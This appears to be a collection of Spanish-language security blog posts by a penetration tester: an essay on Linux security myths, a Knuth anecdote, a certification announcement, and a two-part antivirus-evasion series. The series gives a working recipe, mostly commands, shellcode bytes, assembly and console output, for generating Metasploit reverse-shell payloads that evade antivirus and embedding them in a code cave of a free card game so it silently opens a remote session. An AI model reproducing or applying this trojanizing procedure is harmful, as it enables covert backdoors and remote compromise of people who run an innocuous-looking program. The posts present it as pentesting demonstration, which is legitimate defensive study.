Mitos, Leyendas y Fantasías - Parte 1

Este artículo está inspirado en un breve intercambio que sostuve por el google buzz con una persona de extenso recorrido y experiencia con sistemas *nix. El post que lo inició todo es el que sigue:

Richzendy: No hay nada como la sensación de seguridad que da el navegar por cualquier sitio sabiendo que no te vas a contagiar de algún virus #usalinux

En un principio estoy de acuerdo: es una "sensación", sin embargo, la siguiente afirmación en cuanto a "sabiendo que no te vas a contagiar..." es muy osada en realidad. Y por eso mi respuesta:

Ruben Recabarren - ¿"Sabiendo"? o ¿"Creyendo"? yo te puedo contar de varios sitios donde te puedes infectar de un monton de cosas feas no solo para linux, sino también para cualquier sistema operativo que te puedas imaginar ;)

En efecto, rutinariamente no sólo me toca analizar malware para Linux, sino que también me toca desarrollarlo. Como parte de mis pruebas de penetración, tengo que estar constantemente modificando mis herramientas y payloads para demostrar la vulnerabilidad de los sistemas de mis clientes y generar recomendaciones de cómo hacerlos más seguros. Esto incluye también rutinariamente un extensa gama de distintos sistemas operativos. La respuesta semi-religiosa que casi nunca viene acompañada de ningún fundamento técnico no se hizo esperar:

jaime sanmartin - Yo tengo 25 años con Unix, Xenix y Linux y no me han pegado el primer virus. Eso para mi es seguridad..Aun mas, con Linux se pueden reparar los desastres de Windows. Con Windows no se puede hacer lo mismo...

Inmediatamente sale a colación la comparación con Windows. Esto para mí es indicación que la discusión se está tornando fanática. En ninguna parte de los posts anteriores se nombra ni a Windows ni a ninguna comparación con ningún Sistema Operativo en específico. El poster original hizo un comentario sobre su sensación al navegar con Linux, y yo hice un comentario sobre su falsa sensación de seguridad. Sin embargo, las guerras religiosas siempre necesitan colar al más desvalido (Windows) para fortalecer un argumento que carece de todo soporte técnico verdadero. Mi respuesta como siempre tratando de evadir la guerra que se avecina:

Ruben Recabarren - Bueno, sin animos de desatar una guerra santa, yo solo digo que es distinto "creer" que no se te ha pegado el primer virus a estar limpio en serio ;) Perfecto tema para el siguiente articulo de mi blog :D

Y en realidad, yo todavía no he conocido a la primera persona que confrontada con la cruda verdad de la pregunta: 

"Acaso tu puedes asegurar que tan sólo utilizando el Sistema Operativo $BLANK tu computadora no podrá ser vulnerada?" 

sea capaz de responder con la misma fuerza con que afirman sus creencias religiosas.  Usualmente ésto termina las guerras santas, pues a los fanáticos no les gusta cuestionar su fé. Sin embargo:

jaime sanmartin - Yo estoy limpio en serio. Por otro lado, a menos que tengas un sistema perfecto de auditoria, nadie puede estar seguro de haber tenido, o no, un virus en su computadora. Y los sistemas perfectos no existen. El virus pudo entrar, hacer su trabajo y salir. Si en ese momento estabas actualizando o algo parecido, pues no lo viste. Si lo detectaste, estas seguro que SI. Pero si no lo detectaste, nunca podras estar seguro. Ahi el argumento empieza a volverse filosofico...

Lo cual es insospechado al igual que misterioso. Parafraseando: "...Estoy limpio en serio, pero no estoy seguro y nadie puede estarlo...". Esta respuesta inspira y casi ruega el análisis de varios aspectos que lamentablemente son un mal que aqueja a muchas organizaciones, grandes y pequeñas, de software libre o privativo por igual.

1.- El cuchillo y el bisturí. La analogía es la siguiente: todo el mundo probablemente estará de acuerdo en que no es lo mismo que te operen utilizando un cuchillo de carnicero que utilizando un bisturí. Sin embargo, muy pocas personas se dan cuenta que por mas que un carnicero empuñe un bisturí, jamas se volverá un cirujano. En otras palabras la herramienta no hace al maestro. Linux muy bien puede ser el bisturí, lamentablemente, él por si sólo, no puede garantizarte una mejor seguridad.


Para ejemplificar aún más mi argumento consideremos lo siguiente: Si yo tuviera que seleccionar, para un servidor de misión crítica (i.e. alto grado de seguridad), considerando todo lo demás igual, entre un sistema operativo Linux y otro Windows, preferiría Linux a Windows sin lugar a dudas. No porque Linux sea innatamente más seguro que Windows, si no porque con un sistema operativo libre sólo estoy limitado por mi propio conocimiento, tiempo y motivación. Si tengo un problema, simplemente tomo la fuente, la modifico, recompilo y resuelto mi problema. Es decir, tengo una "esperanza" de lograr más seguridad. Por el contrario, con Windows, ni siquiera el problema es no tener el código fuente. En otros articulos he demostrado lo sencillo que es agregar funcionalidad a un programa directamente en el binario sin utilizar su código fuente. De la misma forma, aplicar parches para modificar funcionalidad existente directamente al binario sin el código fuente, tampoco es una tarea imposible. Sólo se requiere un poquito de conocimiento extra en arquitectura y los internos de Windows. ¿Cúal es el problema entonces? En efecto, muy pocas personas se dan cuenta que el único problema es legal. Si yo me pongo a modificar un programa del S.O. Windows, no sólo estoy violando sus terminos de uso, si no que en muchos paises podría estar violando la ley de "Digital Millenium Copyright Act" (DMCA). Ley, por cierto, que muchos paises en Latinoamerica se han visto "obligados" a adoptar debido a los tratados de libre comercio (TLC's).

De la misma forma, si fuera confrontado con la necesidad de decidir entre: Un servidor Linux con un administrador mediocre, y un servidor Windows con un experto no sólo en Windows sino también en todas las funciones que va a realizar el servidor y experto en seguridad informática en general, pues tomaría al servidor Windows sin pensarlo. No por Windows, si no por el administrador. No importa cúan seguro o abierto sea tu sistema, si el que lo usa es un carnicero, jamás podrá llevar a cabo su trabajo adecuadamente. Por más inmensa comunidad de software libre que exista, y por más que extienda su mano el mediocre para pedir ayuda, probablemente lo único que recibirá de respuesta es "tirate al metro". Ni siquiera es que lo condone o esté de acuerdo. Es una realidad palpable e innegable, sin tabúes y sin prejuicios.


2.- Nada es completamente, 100%, perfectamente seguro. Suspiro profundo. Este es probablemente el argumento más pernicioso para contaminar la cultura corporativa de una organización. Sí, es verdad que el sistema perfecto no es alcanzable. En efecto, cuando mis clientes me dicen que necesitan una prueba de penetración para "...saber si pueden ser hackeados..." Mi respuesta es siempre: "... Les voy a ahorrar un monton de tiempo y dinero, la respuesta es sí, no me debe nada, hasta luego...". Lamentablemente este argumento se ha convertido en escudo y excusa para conductas imperdonables como: no aplicar los parches del sistema operativo o aplicaciones, no desinstalar funcionalidad extra que no es usada, no arreglar fallas gravisimas de XSS, SQL injection, y un monton de problemas más que hacen la vulneración de nuestros sistemas una tarea "trivial". Obviamente, un atacante determinado y con más recursos que los nuestros siempre logrará vulnerar nuestros sistemas. Pero realmente, ¿Es nuestra tarea asegurarnos que los recursos que ese atacanque necesita para vulnerar nuestros sistemas sean tan ínifmos?


Lastimosamente, muchos administradores de sistemas y personal de TI en general fallan catastróficamente en percibir lo trivial que se ha vuelto vulnerar sistemas utilizando programitas "point-and-click" que explotan vulnerabilidades "enlatadas" y que están al alcance de cualquier adolescente en los Inter-tubes. Peor aún, a veces se atreven a utilizar el argumento: "Eso es culpa del usuario".


3.- ¿XSS? Eso NO es un problema de la aplicación. Esa es una vulnerabilidad de muy bajo impacto y además para explotarla se necesita la estupidez del usuario. Suspiro aún más profundo. Realmente no se cómo ponerlo, pero ésto toca los nervios más profundos de mi ser y no es fácil contenerse. Lo único que diré es lo siguiente: Cuando la gente de TI va al consecionario a comprar un carro, ¿le preguntan si es un experto en motores de combustión interna antes de venderselo? Por que yo estoy seguro que a mí no me lo preguntan. Y si trataran de insinuarlo a la hora de reclamar la garantía, lo que pueden llevar es un incendio del local. Mínimo. Exactamente lo mismo sucede con nuestros sistemas de información. Requerir que el usuario normal entienda los intríngulis del funcionamiento del navegador para usarlo y no morir en el intento es, por la medida chiquita, un absurdo sin igual. Y si vamos un poquito más alla, todo ésto es nada más parte de la desidia y poco entendimiento por parte de muchos departamentos de TI que desarrollamos en el punto anterior.


4.- No existen virus para Linux y la probabilidad de que me infecte usando Windows es mucho mayor a que me infecte si uso Linux. El mismo argumento utilizan los amantes de los sistemas Apple. Si consideramos todo lo anterior, se puede ver facilmente  que este argumento no es del todo preciso. Es cierto que sistemas no-Windows son menos "targeted" por el crimen informático. Sin embargo, la razón de ésto no tiene que ver en lo absoluto con su seguridad "innata". Por el contrario, es el simple resultado de la considerable disminución del ROI que significa desarrollar malware para un sistema operativo que no es tan popular. De hecho, los primeros en darse cuenta de esta cruda realidad han sido los usuarios de Mac OS X.


Por otro lado, para realmente hablar de forma seria y responsable sobre probabilidades de infección y de ataques, es necesario considerar la victima del ataque dentro de la ecuación. No es lo mismo perfilar el atacante de la abuelita que usa su PC para leer las cartas de sus nietos en el exterior, que el administrador que le da soporte a los sistemas que manejan información financiera sensible de millones de personas. Para la abuelita, el mayor riesgo lo representan los atacantes oportunistas y de menos sofisticación. En este caso, sí, por favor, darle la manzanita a la abuelita. 

Sin embargo, si estamos hablando de una organización privada o gubernamental que maneja datos un poquito más importantes que los de la abuela, por un lado, los atacantes oportunistas no son una amenaza importante. Los atacantes oportunistas conforman un porcentaje muy pequeño de toda la gama de atacantes que nos acechan. De hecho, yo llegaría al punto de decir que son mas bien "aliados oportunistas". El atacante oportunista y de menos sofisticación usualmente terminará haciendole un deface a nuestra página web y más nada. Su conocimiento no le dá para más. Ésto para nosotros es probablemente lo mejor que nos puede pasar al lado de todas las otras alternativas que son una peor que la otra. Específicamente, el atacante sofisticado, del que realmente nos interesa preocuparnos, es el que aprovechandose de la misma falla que los atacantes oportunistas, está silenciosamente en nuestros sistemas sustrayendo información o esperando el peor momento para llevar a cabo un sabotaje catastrófico. Mirando la situación desde una perspectiva más amplia, lo único verdaderamente importante que logró el adolescente que nos hizo el deface, es echarle a perder el esquema a nuestro atacante profesional. Esto se debe a que la gerencia de nuestra organización despues de poner la cara roja ante sus clientes y la opinion publica, sacará el látigo para que los encargados de TI dejen aunque sea algo de la desidia que hablabamos anteriormente, las fallas serán cerradas poco a poco y la vigilancia será incrementada aunque sea por un tiempo. Es de esta situación tan particular que nace el odio encarnizado de los criminales profesionales hacia los "script kiddies". Las lecturas son extensas, pero una y otra vez hemos visto como grupos del underground amenazan a los script kiddies y hasta en algunos casos los delatan a las autoridades para sacarlos del juego. Para los interesados en más detalles, pueden hacer busquedas en google sobre: ~el8, h0n0, zf0, etc. Preparense para abrir su mente a una realidad muy poco conocida.


Ahora bien, si no es tan importante el sistema operativo que se use, o la tecnología que se desarrolle para defendernos de los criminales profesionales, entonces ¿Qué lo es? La respuesta la dimos al comienzo: El artesano que sepa usar esa tecnología es la verdadera respuesta. Creer que metiendo más dinero o metiendo más tecnologia en nuestra plataforma va a resolver nuestros problemas de seguridad es como querer comprar clavos, madera y herramientas, tirarlas en el jardin y pretender al día siguiente encontrar un patio de madera artesanal. Por supuesto, esto es nada más el comienzo. Posteriormente es necesario llevar a cabo una conscientización y priorización de las vulnerabilidades y fallas que constantemente estaremos "creando" en nuestros propios sistemas. Mantenerse al día en estos asuntos es una tarea casi imposible para los que adicionalmente son responsables de que los sistemas "funcionen". Es aquí donde pueden ayudar servicios profesionales que evalúan la seguridad de sus plataformas desde el punto de vista de un atacante profesional. Si deseas ver demostraciones de todos estos puntos y cómo una prueba de penetración puede ayudar a tu empresa estás invitado a usar el enlace de contacto.

Haciendo una fortuna a costa del Dr. Knuth

Hace unos días leí un twitt que me hizo recordar mis años de universidad donde pasaba incontables horas sumergido en los misterios del mundo académico. Ejem, no tan así pero es una buena linea de inicio para este post. El twitt hacía referencia a la siguiente caricatura:

El chiste es particularmente gracioso, pero sólo para un pequeño grupo de personas especializadas en el mundo de la matemática aplicada a la computación. Estoy seguro que muchos de mis compañeros matemáticos no le encontrarán ningun chiste, y la gran mayoría de computistas tampoco. Como en realidad es muy gracioso, he decidido escribir este artículo y compartir un poco de "LULZ" con el resto de geeks.

El Dr. Knuth es un científico de la computación (computer scientist) famoso entre otras cosas por haber escrito el trabajo seminal multi-volumen "The Art of Computer Programming". De acuerdo a la Wikipedia (y para muchos más): El Dr. Knuth es considerado "el padre" del análisis de algoritmos además de haber contribuido al desarrollo riguroso del análisis de la complejidad computacional y de sistematizar técnicas matemáticas formales para este análisis. En el proceso, tambien popularizó la notación asintótica.

Adicionalmente, "The Art of Computer Programming" es considerada una de las obras literarias mas influyentes sobre la ciencia de nuestro siglo y en realidad el razonamiento lógico y perfeccionismo que se respira al leer los libros del Dr Knuth es impresionante. De hecho, el compromiso del Dr. Knuth por hacer de sus publicaciones unas verdaderas obras de arte llega al punto de ofrecer una simbólica recompensa a los que encuentren errores significativos en cualquiera de sus libros. Por supuesto, nadie hace esto por los 0x$1.00 ($2.56) dólares que ofrece el Dr. Knuth de recompensa, si no mas bien por el valor simbólico de formar parte (aunque sea ínfima) de la historia que se convertirá en el legado científico para las generaciones de los siglos por venir.

O en todo caso esa fue mi motivación. En mis años de academia, lo confieso, yo fui el terror de muchos de mis profesores. Probablemente algunos llegaron a pensar que disfrutaba encontrandoles errores. Otros sin embargo, disfrutaban conmigo la busqueda de las fallas y vulnerabilidades en los argumentos planteados. De hecho tanto fue mi disfrute que 15 años despues todavía me dedico a buscar y demostrar fallas en los sistemas que protegen nuestros delicados e importantes datos y comunicaciones a nivel global. Así es la vida, el que nace para zapatero, desde pequeño le gusta la pega.

En mi caso, la busqueda por el error en los libros del Dr. Knuth fue mas bien circumstancial. La suerte (o destino) orquestó para mí que tomará la materia "Matemática Computacional" en la Universidad Simón Bolivar (Venezuela) en donde usamos "Concrete Mathematics" como libro principal. Me gustaría decir que durante el curso revisé meticulósamente cada afirmación, teorema y ejercicio que mi mente y mi apretado horario de clases me permitieran entender con claridad. Pero no fue así. Obviamente, hace tanto tiempo que no recuerdo muy bien. Sin embargo, algo como que me equivoqué de ejercicio asignado y terminé haciendo el que no era suena más a mí. En ese ejercicio estaba el error.

De hecho, no fuí exitoso en lo que consideré mi primer hallazgo. Pero así como los hackers, yo nunca me doy por vencido. En el segundo intento lo logré. Si me preguntan ahora, juraré que en esos tiempos estuve convencido que la primera carta que le envié al Dr. Knuth también expone un error. Sin embargo, siendo él la autoridad en notación asintótica, pues veo (ahora) muy dificil haberlo podido convencer. Para mi defensa, en ese tiempo, no sabía que él era la autoridad en la notación asintótica. Exacto, la ignorancia es irreverente.

Cuando leí el chiste del comienzo de este artículo me dije a mi mismo: "Nah, no creo que esa sea una buena idea para hacer una fortuna". De hecho muy probablemente la respuesta del Dr. Knuth sería algo al estilo de lo que apareció en el comentario de la foto: "Estimado lector, adjunto hay un cheque por 98 céntimos de dolar. Utilizando tu propio trabajo, he demostrado que esta cantidad es equivalente a lo que has solicitado". Así son los grandes, siempre te van a ganar al final. El Dr. Knuth es, sin lugar a dudas, uno de los grandes de nuestros tiempos. En consecuencia, no pense ni por un momento antes o ahora en tratar de reclamar recompensa por el error que hay en el cheque al tratar de escribir mi apellido. Aún si esto fuera un error que se convirtiera en recursivo, ¿De qué me sirven un monton de cheques que al final no pienso cobrar? Con uno es más que suficiente. Y para mí, hasta ahí llego la busqueda de errores en los libros de Knuth.

Tengo otras anécodtas de mis años universitarios sufridas con personajes del mundo matemático. Sin embargo, dejaré éstas para otros artículos pues no caben todas en el margen de esta pagina web.(si, exacto, Fermat).

ALL YOUR AV STILL ARE BELONG TO US - Parte 2

Una de las habilidades más importantes para un pentester profesional es la capacidad para modificar sus herramientas de tal forma que logren evadir su detección por parte de los sistemas antivirus y otros sistemas de protección de usuario final. Esta habilidad está muy bien desarrollada dentro de los círculos del crimen informático, y por tanto, un servicio de pruebas de penetración que no pueda emular esta capacidad es, en el mejor caso, incompleto por no decir mediocre.

En el artículo anterior logramos demostrar que nuestro antivirus no es capaz de detectar el payload generado con el encoder defecto de metasploit (shikata_ga_nai). La primera solución descrita fue simplemente usar un ensamblador poco popular, y miramos como nuestro antivirus quedó completamente inutilizado. Sin embargo, no podemos cantar victoria todavía. Esta técnica de evasión una vez empezada a usarse rutinariamente durará a lo sumo 3 días funcionando hasta que los antivirus encuentren aún otro patrón para detectarla. Tal vez unas cuantas semanas porque mi artículo fue escrito en español y pues el undergroung hispanohablante no se compara con el anglosajón, pero el argumento es el mismo.

Ahora, sosteniendo que el payload en sí mismo no es el que está siendo detectado, lo único que necesitamos para hacer un poco más dificil su detección es simplemente embeber su funcionalidad en otro ejecutable. Me hubiera gustado utilizar algo como "stress-reducer-desktop-destroyer.exe" para demostrar esta técnica. Para los que no lo conocen les dejo un screenshot de este programita por demás adictivo:

Pero mi antivirus ya lo detectaba como sospechoso, asi que vence el propósito de mi demostración. En consecuencia, comencé a buscar otros candidatos gratuitos pero todos tenían unos terminos de servicio que prohiben su modificación binaria. Como aquí no condonamos ninguna actividad ilegal o inmoral, decidimos volver nuestra atención a nuestros buenos y fieles amigos del software libre. Nótese sin embargo, que el criminal informático común y corriente no tiene remordimiento ni restricción moral o ética alguna para no aplicar estas mismas técnicas a cualquier programa popular, ya sea un juego, el calc.exe de windows o hasta un programa ilegal de generación de claves. Es por esta razón que es tan importante llevar estos conocimientos al mundo de la seguridad informática y aprender de ellos. En todo caso, la aplicación premiada resulto ser "calculation-1.0.1". Este juego es alguna variación de solitario o algo parecido que tiene que ver con cartas/naipes/etc. Siento un poco de verguenza de ni siquiera haber averiguado de que trata este juego, pero no es primordial para nuestros propositos. Sin embargo, aquí les dejo un screenshot para compensar un poco la indiferencia:

Comenzamos investigando a calculation con cualquier debugger. Para efectos de esta demostración utilizamos el más simple de todos: ollydbg. El primer paso es encontrar un sitio apropiado para alojar nuestro payload. Sitios candidatos son obviamente la sección de código del programa, pero el espacio efectivamente utilizable de esta sección es usualmente muy pequeño. Otra sección posible es la sección de datos. Sin embargo, el uso de esta sección es un trabajo muy delicado pues hay que tener cuidado de no aplastar variables que se supone deberían estar inicializadas en 0 para el funcionamiento del programa. Nuestra mejor opción siempre será la sección de "resources" (.rsrc). Esta sección es normalmente utilizada para agregar los íconos e información miscelanea del programa. Adicionalmente, esta sección es, por lo general, la última sección del ejecutable. Esto significa que si no existe suficiente espacio en ella para nuestro código, siempre es posible agrandar un poco su tamaño en el encabezado PE y luego con un editor hexadecimal agregar 0's a nuestro archivo. Cualquiera sea el caso, hay que verificar que la sección que alojará nuestro código esté marcada con permisos de escritura pues nuestro payload estará reescribiendose a sí mismo. Si, así de bueno es shikata_ga_nai (lol). Para comenzar, abrimos nuestro ejecutable en olly y encontramos nuestra "caverna para código":

En este caso, al abrir calculation con olly y revisar las secciones disponibles nos encontramos con una larga secuencia de 0's en la sección .rsrc. Esta será nuestra "code cave". Apuntamos la primera dirección vacia: 0x0042442D pues la necesitaremos cuando hagamos la llamada a CreateThread. Como siempre, la generación del payload la hacemos con nuestras herramientas de metasploit:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.66 LPORT=80 R | msfencode -t raw | xxd -i - > payload.txt
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

root@bt:~#

Y simplemente lo acomodamos con un poco de "search and replace" para eliminar los ", 0x" de tal forma que queden solo los valores hexadecimales para pegarlos en nuestra caverna de código:

da de d9 74 24 f4 58 31 c9 bb 79 ba ... etc.

Olly marca en rojo los cambios hechos al ejecutable que todavia no han sido guardados en disco. En este punto es importante anotar la siguiente dirección vacía despues de nuestro payload: 0x0042456A. El siguiente paso requiere escribir un poquito de assembler. No es nada del otro mundo. Lo único que necesitamos es llamar a la función CreateThread de kernel32.dll con la dirección de nuestro payload. La idea es por supuesto, ejecutar nuestro payload y no interferir con la ejecución de calculation. En otras palabras, mientras nuestro objetivo de penetración esta jugando plácidamente con los naipes, nosotros estamos obteniendo control de su computadora. El código en assembler es simplemente algo como:

push 0x0042456A
push 0,0
push 0x0042442D
push 0,0
call CreateThread

En donde el valor del primer "push" es nuestra primera dirección vacía despues del payload. Esta dirección alojará un parametro de salida de CreateThread. La segunda dirección empujada es simplemente la posición de nuestro payload. El significado de los otros parametros se dejan como ejercicio al lector. En olly, insertamos estas instrucciones asi:

Ahora estamos listos para para modificar el flujo de ejecución del programa. Simplemente anotamos la dirección de nuestro primer push: 0x0042456E y vamos al origen del programa (shortcut *) para anotar las primeras instrucciones originales de calculation:

0040C4D0 > $ 55                 PUSH EBP
0040C4D1   . 8BEC               MOV EBP,ESP
0040C4D3   . 6A FF              PUSH -1
0040C4D5   . 68 F8844100        PUSH calction.004184F8

Algunas de estas instrucciones tendremos que copiarlas de regreso a calculation dentro de nuestra caverna de código. Esto es con la idea de reanudar su ejecución normal despues de crear nuestro thread con el payload. La modificación que es necesaria aquí es más que evidente. Simplemente tenemos que reescribir la primera instrucción con un jmp a la dirección de nuestro primer push: 0x0042456E. La modificación queda de esta forma:

Con esta modificación, lo primero que se hará al iniciar este ejecutable es saltar a nuestra caverna de código y empezar a empujar los parametros de CreateThread. Es evidente que nuestra modificación ha eliminado las primeras 3 instrucciones originales del ejecutable. Estas instrucciones hay que volverlas a colocar en nuestra caverna de código despues de llamar a CreateThread y luego hacer el salto de regreso a la dirección que no fue modificada: 0x0040C4D5. Esta modificación se ve como sigue:

Listo! Seleccionamos todo el código modificado, click derecho->copy to executable->Selection, y en la ventana de dump, de nuevo, click derecho->save to file, y guardamos nuestro ejecutable modificado con un nombre distinto. Es importante repetir este procedimiento para la modificación del punto de origen también despues de abrir nuestro ejecutable recien guardado.En este punto estamos casi listos. Sólo hace falta una última modificación. Como recordaremos, nuestro código se encuentra en la sección .rsrc. Como nuestro payload se modifica a sí mismo mientras se ejecuta, es importante que la sección .rsrc tenga permisos de escritura. Para tal fin, simplemente vamos al encabezado PE en olly, y modificamos el valor de "caracteristicas" de la sección resources de esta forma:

Como siempre de nuevo guardar nuestro cambios y listo!. Así es como queda nuestra modificación:

C:\Documents and Settings\winxp\Escritorio>dir calction.exe
 El volumen de la unidad C no tiene etiqueta.
 El número de serie del volumen es: 28F8-C6FD

 Directorio de C:\Documents and Settings\winxp\Escritorio

13/06/2002  17:48           128.000 calction.exe
               1 archivos        128.000 bytes
               0 dirs  32.210.063.360 bytes libres

C:\Documents and Settings\winxp\Escritorio>dir calction-post.exe
 El volumen de la unidad C no tiene etiqueta.
 El número de serie del volumen es: 28F8-C6FD

 Directorio de C:\Documents and Settings\winxp\Escritorio

05/06/2011  11:42           128.000 calction-post.exe
               1 archivos        128.000 bytes
               0 dirs  32.210.063.360 bytes libres

C:\Documents and Settings\winxp\Escritorio>

Los dos ejecutables tienen el mismo tamaño y si ejecutáramos el calculation modificado, no veriamos ninguna diferencia con respecto al original:

Sin embargo, de regreso en nuestra consola de metasploit:

[*] Sending stage (749056 bytes) to 192.168.137.67
[*] Meterpreter session 16 opened (192.168.137.66:80 -> 192.168.137.67:4543) at 2011-06-05 15:12:26 -0400

meterpreter>

Esta técnica es bastante efectiva, sin embargo, tiene algunos inconvenientes. Las llamadas a las funciones y saltos dentro del ejecutable que hemos hecho utilizan direcciones fijas. Esto significa que nuestra modificación del ejecutable sólo funcionará cuando calculation sea mapeado en memoria de la forma que fue mapeado en mi sistema de prueba. Esto quiere decir, distintas versiones de sistema operativo, o tecnologías como ASRL podrían hacer que nuestro calculation troyanizado dejara de funcionar. Adicionalmente, como nuestro payload se ejecuta dentro de un hilo de ejecución de calculation, cuando nuestro objetivo se canse de jugar a los naipes y cierre nuestro programa, la conexion de nuestro payload también morirá. Este último problema puede resolverse configurando un script de autoejecución en metasploit. Sin embargo, para solucionar el primer problema es necesario programar un poquito más de assembler y conjurar algo más de magia para hacer a nuestro troyano un programa completamente relocalizable. Este técnica será el tema de nuestro siguiente artículo de esta serie. Mantenerse en sintonía.

ALL YOUR ANTIVIRUS ARE BELONG TO US - parte 1

Una de las habilidades más importantes para un pentester profesional es la capacidad para modificar sus herramientas de tal forma que logren evadir su detección por parte de los sistemas antivirus y otros sistemas de protección de usuario final. Esta habilidad está muy bien desarrollada dentro de los círculos del crimen informático, y por tanto, un servicio de pruebas de penetración que no pueda emular esta capacidad es, en el mejor caso, incompleto por no decir mediocre.

De una forma fundamental, el mecanismo de acción de estos sistemas de protección (antivirus) está destinado a "fallar". Esta sentencia catastrófica se debe a que de una u otra forma, su funcionamiento está basado en el reconocimiento de "firmas" o patrones de uso. El gran número de posibilidades que existen para la creación de sistemas, tanto maliciosos o no, hace que la tarea de detectar en un 100% las amenazas sea imposible. Sin embargo, los sistemas antivirus han sido usados por nosotros tradicionalmente por decadas, y a falta de un mejor substituto no dejarán de ser usados

En esta serie de artículos describo tan sólo una de las formas de cómo se logra modificar un binario inofensivo para contener la capacidad "maliciosa" que normalmente sería detectada por nuestros antivirus. El objetivo de este saga es doble. El principal objetivo consiste en demostrar lo inadecuado que resulta confiar exclusivamente en los sistemas antivirus como única linea de defensa para los sistemas de usuarios finales. Adicionalmente, también busco demostrar lo peligroso que es ejecutar binarios de procedencia dudosa, sin sopesar la cantidad de funcionalidades troyanizadas dentro de él.

Para comenzar, es necesario seleccionar la funcionalidad troyana a ser embebida. Mi favorita son los "payloads" de metasploit. Primeramente por su flexibilidad, pero segundo porque a pesar de que los fabricantes antivirus afirmen fervientemente que son capaces de detectarlos, la verdad parece ser lo contrario.

Para comenzar, creamos un payload con metasploit y comprobamos su detección por el antivirus:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.1 LPORT=80 X > meterpreter.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 290
Options: {"LHOST"=>"192.168.137.1", "LPORT"=>"80"}
root@bt:~#

Este resultado no cambia aún si realizamos "encoding" a nuestro payload antes de presentarlo al sistema windows protegido por este antivirus:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.1 LPORT=80 R | msfencode -t exe > meterpreter_encoded.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

root@bt:~#

Es aquí cuando los fabricantes de antivirus cantan victoria. Sin embargo, nótese cómo ambas detecciones son con respecto a algo "generico": swPatch, y no algo específico/propio de las caracteristicas de este payload. Como bien apunta mi colega Leandro Leoncini, es más que suficiente la siguiente receta para evadir completamente esta detección:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.1 LPORT=80 R | msfencode -t raw | xxd -i - > meter_asm.asm
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

root@bt:~# vim meter_asm.asm
root@bt:~# cat meter_asm.asm
data section
payload db 0xbe, 0x93, 0x0a, 0xb5, 0xab, 0xdb, 0xd9, 0xd9, 0x74, 0x24, 0xf4, 0x58,  0x29, 0xc9, 0xb1, 0x49, 0x31, 0x70, 0x14, 0x83, 0xe8, 0xfc, 0x03, 0x70,
[snip]
0x02, 0x59, 0x85,  0xaa, 0x6a, 0x67, 0xf0, 0x9d, 0x35, 0x98, 0xd7, 0x1f, 0x0a, 0x4f, 0x1e,  0x9a, 0x7a, 0xe5, 0x72, 0x66
code section
start:
call payload

root@bt:~#

Luego en un sistema Windows, compilamos y enlazmos con (por ejemplo):

C:\Documents and Settings\winxp\Escritorio\test>GoAsm.Exe meter_asm.asm
GoAsm.Exe Version 0.56.8 - Copyright Jeremy Gordon 2001/9 - JG@JGnet.co.uk
Output file: meter_asm.obj

C:\Documents and Settings\winxp\Escritorio\test>GoLink.exe meter_asm.obj

GoLink.Exe Version 0.26.14 - Copyright Jeremy Gordon 2002/9 - JG@JGnet.co.uk
Output file: meter_asm.exe
Format: win32 size: 1,536 bytes

C:\Documents and Settings\winxp\Escritorio\test>

El resultado:

Lo que demuestra que el antivirus anteriormente no estaba detectando el payload si no algún patron de la forma en que se construye el ejecutable a través de metasploit.

De regreso en nuestra consola de metasploit:

[*] Sending stage (749056 bytes) to 192.168.137.67
[*] Meterpreter session 1 opened (192.168.137.66:80 -> 192.168.137.67:4271) at 2011-06-04 15:41:08 -0400
meterpreter >

Lo cual significa que ya podemos empezar a tomar screenshots, capturar teclas escritas, prender la camara web, prender el micrófono, sniffear tráfico y un gran etcétera.

En la siguiente parte de esta serie de artículos, demostraremos cómo insertar la funcionalidad que acabamos de ocultar completamente de nuestro antivirus dentro de otro binario completamente independiente. Con esto logramos que la presencia de nuestro payload sea aún más inconspicua y le quitamos al antivirus cualquier esperanza de detectar la forma en que el payload es armado en un ejecutable. "Stay tuned".

Primer GSE en América Latina

Es para mi un gran orgullo el convertirme en el primer Latinoamericano recipiente de la prestigiosa certificación GIAC Security Expert (GSE).

Para los que no la conocen, la certificación GSE es considerada, desde su creación en el año 2003, la certificación más prestigiosa en el área de la seguridad informática. Hasta la fecha, solo 35 personas en el mundo han logrado cumplir los requisitos necesarios para obtener este reconocimiento.

La razón por la que esta certificación es tan reconocida tiene que ver con la profundidad técnica y la amplitud de los conocimientos requeridos a sus aspirantes. En el sitio web oficial de GIAC se pueden conseguir los detalles de estos requerimientos. Sin embargo, yo hago aquí un resumen para alentar a mis colegas latinoamericanos a aceptar el reto de conseguir esta prestigiosa certificación:

Como pre-requisitos para poder intentar el examen final de certificación GSE, es necesario obtener las siguientes certificaciones previas:

1.- GIAC GSEC - GIAC Security Essentials. Certificación base de conocimientos en seguridad informática. No es recomendable dejarse engañar por el nombre. A pesar de llamarse "esencial", los conocimientos requeridos por esta certificación son comparables a los del CISSP (ISC2). La diferencia es que para esta certificación no es suficiente ser "book smart". Para obtener esta certificación es necesario tener conocimientos prácticos sobre los 10 dominios del CBK, y adicionalmente, tener experiencia sobre su aplicación tanto en Sistemas Windows como Linux.

2.- GIAC GCIH - GIAC Certified Intrusion Handler. Esta certificación está enfocada al manejo experto de intrusiones informáticas. En otras palabras, ¿Qué hacer una vez que descubro que mis sistemas han sido vulnerados? Para obtener esta certificación no sólo es necesario conocer de forma práctica el proceso detallado para manejar una intrusión ilegal en nuestros sistemas de comienzo a fin. Por el contrario, esta certificación también requiere familiarizarse profundamente sobre las últimas y más avanzadas técnicas mediante las cuales los criminales informáticos vulneran nuestros sistemas.

3.- GIAC GCIA - GIAC Certified Intrusion Analyst. Esta certificación está enfocada a la detección temprana y oportuna de la intrusión informatica. En otras palabras ¿Qué hacer para detectar intentos de intrusión y prevenirlos o al menos detenerlos en su fase más temprana? Para obtener esta certificación no sólo es necesario conocer las trazas, indicaciones y advertencias que producen las actividades de intrusiones ilegales. Adicionalmente, es requerido que el candidato obtenga proficiencia en el uso de sistemas de detección de intrusos y alerta temprana de última generación y extremadamente sofisticados.

